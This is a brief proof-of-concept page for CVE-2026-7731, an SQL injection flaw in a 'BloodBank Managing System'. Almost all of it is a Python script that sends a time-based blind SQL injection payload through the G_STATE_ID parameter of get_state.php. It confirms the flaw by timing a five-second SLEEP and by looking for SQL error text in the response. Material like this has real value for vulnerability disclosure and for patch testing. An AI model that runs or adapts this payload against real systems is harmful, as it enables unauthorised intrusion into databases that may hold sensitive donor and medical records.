CVE-2026-7731 BloodBank Managing System SQL注入漏洞

import requests def verify_sqli(target_url): """ PoC for CVE-2026-7731 Vulnerable File: get_state.php Vulnerable Parameter: G_STATE_ID """ # Construct the full URL to the vulnerable endpoint full_url = f"{target_url}/get_state.php" # Time-based blind SQL injection payload # If the database pauses for 5 seconds, the vulnerability is confirmed. payload = { "G_STATE_ID": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print(f"[+] Sending payload to: {full_url}") response = requests.get(full_url, params=payload, timeout=10) # Check response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: Time-based SQL Injection detected.") else: # Check for SQL syntax errors in response (Error-based) if "sql" in response.text.lower() or "syntax error" in response.text.lower(): print("[+] Vulnerability Confirmed: Error-based SQL Injection detected.") else: print("[-] Vulnerability not confirmed or target is patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1/bloodbank" verify_sqli(target)